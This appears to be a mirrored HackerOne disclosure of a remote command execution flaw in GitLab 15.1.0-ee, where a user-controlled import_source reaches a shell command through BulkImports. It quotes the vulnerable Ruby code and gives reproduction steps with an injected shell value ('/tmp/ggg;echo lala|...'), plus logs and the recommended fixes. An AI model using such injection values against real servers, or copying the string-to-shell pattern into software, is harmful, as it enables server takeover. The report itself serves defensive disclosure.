Lucene search

K
hackeroneVakzzH1:1609965
HistoryJun 23, 2022 - 3:05 a.m.

GitLab: RCE via the DecompressedArchiveSizeValidator and Project BulkImports (behind feature flag)

2022-06-2303:05:28
vakzz
hackerone.com
$33510
25

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.389 Low

EPSS

Percentile

96.7%

Summary

The DecompressedArchiveSizeValidator is used to check the size of a archive before extracting it:

https://gitlab.com/gitlab-org/gitlab/-/blob/v15.1.0-ee/lib/gitlab/import_export/decompressed_archive_size_validator.rb#L82

      def command
        "gzip -dc #{@archive_path} | wc -c"
      end

   def validate
        pgrp = nil
        valid_archive = true

        Timeout.timeout(TIMEOUT_LIMIT) do
          stdin, stdout, stderr, wait_thr = Open3.popen3(command, pgroup: true)
          stdin.close

Since command is a string and passed directly to Open3.popen3 it will be interpreted as a shell command, so if archive_path contains any special characters it can be used to run arbitrary commands.

One of the places that the DecompressedArchiveSizeValidator is used is in the Gitlab::ImportExport::FileImporter,

     def size_validator
        @size_validator ||= DecompressedArchiveSizeValidator.new(archive_path: @archive_file)
      end

It gets @archive_file from the constructor, and is used by the Gitlab::ImportExport::Importer which gets it from project.import_source.

Under normal circumstances import_source is nil and is generated by the FileImporter using @archive_file = File.join(@shared.archive_path, Gitlab::ImportExport.export_filename(exportable: @importable)).

Most of the places I’ve checked do not allow you to set the import_source for a project, or have the import_type set to something other than gitlab_project or gitlab_custom_project_template (which is required to use the ::Gitlab::ImportExport::Importer).

There is one place though, in the BulkImports::Projects::Pipelines::ProjectPipeline. Luckily this is disabled by default as it requires the bulk_import_projects feature to be enabled. If/once this feature is enabled, it’s possible to trigger the above flow.

This is possible as the two transformer on the ProjectPipeline are :BulkImports::Common::Transformers::ProhibitedAttributesTransformer and ::BulkImports::Projects::Transformers::ProjectAttributesTransformer, which first removes a list of prohibited keys:

PROHIBITED_REFERENCES = Regexp.union(
          /\Acached_markdown_version\Z/,
          /\Aid\Z/,
          /_id\Z/,
          /_ids\Z/,
          /_html\Z/,
          /attributes/,
          /\Aremote_\w+_(url|urls|request_header)\Z/ # carrierwave automatically creates these attribute methods for uploads
        ).freeze

And then sets a few other values:

          entity = context.entity
          visibility = data.delete('visibility')

          data['name'] = entity.destination_name
          data['path'] = entity.destination_name.parameterize
          data['import_type'] = PROJECT_IMPORT_TYPE
          data['visibility_level'] = Gitlab::VisibilityLevel.string_options[visibility] if visibility.present?
          data['namespace_id'] = Namespace.find_by_full_path(entity.destination_namespace)&.id if entity.destination_namespace.present?

          data.transform_keys!(&:to_sym)

All of the other params are allowed and passed directly into project = ::Projects::CreateService.new(context.current_user, data).execute. The first thing the create service does its to check if it’s creating from a template, and if so the CreateFromTemplateService is used instead:

https://gitlab.com/gitlab-org/gitlab/-/blob/v15.1.0-ee/app/services/projects/create_service.rb#L25-27

    def execute
     if create_from_template?
        return ::Projects::CreateFromTemplateService.new(current_user, params).execute
      end
    # ...
    end

    def create_from_template?
      @params[:template_name].present? || @params[:template_project_id].present?
    end

Since we control all of the params, this path can be triggered by setting template_name to a valid template such as rails. This then uses the GitlabProjectsImportService which allows the import_type to be changed from gitlab_project_migration to gitlab_project.

https://gitlab.com/gitlab-org/gitlab/-/blob/v15.1.0-ee/app/services/projects/gitlab_projects_import_service.rb#L61-76

    def prepare_import_params
      data = {}
      data[:override_params] = @override_params if @override_params

      if overwrite_project?
        data[:original_path] = params[:path]
        params[:path] += "-#{tmp_filename}"
      end

      if template_file
        data[:sample_data] = params.delete(:sample_data) if params.key?(:sample_data)
        params[:import_type] = 'gitlab_project'
      end

      params[:import_data] = { data: data } if data.present?
    end

The Projects::CreateService service is then called again with the updated import_type, but the rest of our params the same. This causes the import_schedule to happen as @project.gitlab_project_migration? is no longer true

https://gitlab.com/gitlab-org/gitlab/-/blob/v15.1.0-ee/app/services/projects/create_service.rb#L276-282

    def import_schedule
      if @project.errors.empty?
        @project.import_state.schedule if @project.import? && !@project.bare_repository_import? && !@project.gitlab_project_migration?
      else
        fail(error: @project.errors.full_messages.join(', '))
      end
    end

If a custom import_source was used, it will be used as the @archive_file for the Gitlab::ImportExport::FileImporter. After wait_for_archived_file has reached MAX_RETRIES (it continues instead of failing) then validate_decompressed_archive_size will be called and then Open3.popen3 with a controllable string.

https://gitlab.com/gitlab-org/gitlab/-/blob/v15.1.0-ee/lib/gitlab/import_export/file_importer.rb#L45

       wait_for_archived_file do
          validate_decompressed_archive_size if Feature.enabled?(:validate_import_decompressed_archive_size)
          decompress_archive
        end

      def wait_for_archived_file
        MAX_RETRIES.times do |retry_number|
          break if File.exist?(@archive_file)

          sleep(2**retry_number)
        end

        yield
      end

Steps to reproduce

  1. spin up a gitlab instance
  2. ssh in and enable bulk project imports with from a rails console: sudo gitlab-rails console then ::Feature.enable(:bulk_import_projects)
  3. start watching the logs with sudo gitlab-ctl tail
  4. create an api token
  5. create a new group
  6. create a new project in that group
  7. download {F1785226} and change PROJECT_PATH to the full path of the project above and PROJECT_ID to its id
  8. change "import_source":"/tmp/ggg;echo lala|tee /tmp/1234;#", to be your custom command (it cannot contain > as json will convert it to \u003c)
  9. (optional) remove proxies={"http":"http://127.0.0.1:8080", "https":"http://127.0.0.1:8080"} if you are not using burp/another proxy
  10. run it with FLASK_APP=api_project_ql.py flask run
  11. start ngrok with ngrok http 5000
  12. go to new group -> import group
  13. enter the ngrok http address and your token from above in the Import groups from another instance of GitLab section
  14. select the group created above, change the parent to No parent and choose a new group name
  15. hit import
  16. you should see requests being made, then after the project is imported and the wait_for_archived_file has timed out (takes a few minutes) you should see something like following error in the logs and the payload will execute:
command exited with error code 2: tar (child): /tmp/ggg;echo lala|tee /tmp/1234;#: Cannot open: No such file or directory
tar (child): Error is not recoverable: exiting now
tar: Child returned status 2
tar: Error is not recoverable: exiting now
vagrant@gitlab:~$ cat /tmp/1234
lala
vagrant@gitlab:~$

Impact

If the bulk_import_projects feature is enabled, allows an attacker to execute arbitrary commands on a gitlab server

What is the current bug behavior?

  • The DecompressedArchiveSizeValidator passes a string to popen that can contain attacker controlled data
  • The ProjectPipeline does not correctly filter the project params

What is the expected correct behavior?

  • The DecompressedArchiveSizeValidator should use Gitlab::Popen and the command should be an array of strings
  • The ProjectPipeline should use the Gitlab::ImportExport::AttributeCleaner or just have a whitelist of allowed params

Relevant logs and/or screenshots

{
    "severity": "ERROR",
    "time": "2022-06-23T01:52:57.556Z",
    "correlation_id": "0d72e54e82938b4b82aa3dcafe6c4dfe",
    "exception.class": "Gitlab::ImportExport::Error",
    "exception.message": "command exited with error code 2: tar (child): /tmp/ggg;echo lala|tee /tmp/1234;#: Cannot open: No such file or directory\ntar (child): Error is not recoverable: exiting now\ntar: Child returned status 2\ntar: Error is not recoverable: exiting now",
    "user.username": "vakzz",
    "tags.program": "sidekiq",
    "tags.locale": "en",
    "tags.feature_category": "importers",
    "tags.correlation_id": "0d72e54e82938b4b82aa3dcafe6c4dfe",
    "extra.sidekiq": {
        "retry": false,
        "queue": "repository_import",
        "version": 0,
        "backtrace": 5,
        "dead": false,
        "status_expiration": 86400,
        "memory_killer_memory_growth_kb": 50,
        "memory_killer_max_memory_growth_kb": 300000,
        "args": [
            "31"
        ],
        "class": "RepositoryImportWorker",
        "jid": "9d28590a58ec7db944453edc",
        "created_at": 1655948922.4369478,
        "correlation_id": "0d72e54e82938b4b82aa3dcafe6c4dfe",
        "meta.user": "vakzz",
        "meta.client_id": "user/2",
        "meta.caller_id": "BulkImports::PipelineWorker",
        "meta.remote_ip": "192.168.0.144",
        "meta.feature_category": "importers",
        "meta.root_caller_id": "Import::BulkImportsController#create",
        "meta.project": "imported_13/export_project",
        "meta.root_namespace": "imported_13",
        "worker_data_consistency": "always",
        "idempotency_key": "resque:gitlab:duplicate:repository_import:e64a87ccd733ff3c9b12cd20d98ea1d44a21196e9d0398c0af668ee84bf77358",
        "size_limiter": "validated",
        "enqueued_at": 1655948922.442958
    },
    "extra.importer": "Import/Export",
    "extra.exportable_id": 31,
    "extra.exportable_path": "imported_13/export_project",
    "extra.import_jid": null
}

Output of checks

Results of GitLab environment info

System information
System:		Ubuntu 20.04
Proxy:		no
Current User:	git
Using RVM:	no
Ruby Version:	2.7.5p203
Gem Version:	3.1.4
Bundler Version:2.3.15
Rake Version:	13.0.6
Redis Version:	6.2.7
Sidekiq Version:6.4.0
Go Version:	unknown

GitLab information
Version:	15.1.0-ee
Revision:	31c24d2d864
Directory:	/opt/gitlab/embedded/service/gitlab-rails
DB Adapter:	PostgreSQL
DB Version:	12.10
URL:		http://gitlab.wbowling.info
HTTP Clone URL:	http://gitlab.wbowling.info/some-group/some-project.git
SSH Clone URL:	[email protected]:some-group/some-project.git
Elasticsearch:	no
Geo:		no
Using LDAP:	no
Using Omniauth:	yes
Omniauth Providers:

GitLab Shell
Version:	14.7.4
Repository storage paths:
- default: 	/var/opt/gitlab/git-data/repositories
GitLab Shell path:		/opt/gitlab/embedded/service/gitlab-shell

Impact

If the bulk_import_projects feature is enabled, allows an attacker to execute arbitrary commands on a gitlab server.

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.389 Low

EPSS

Percentile

96.7%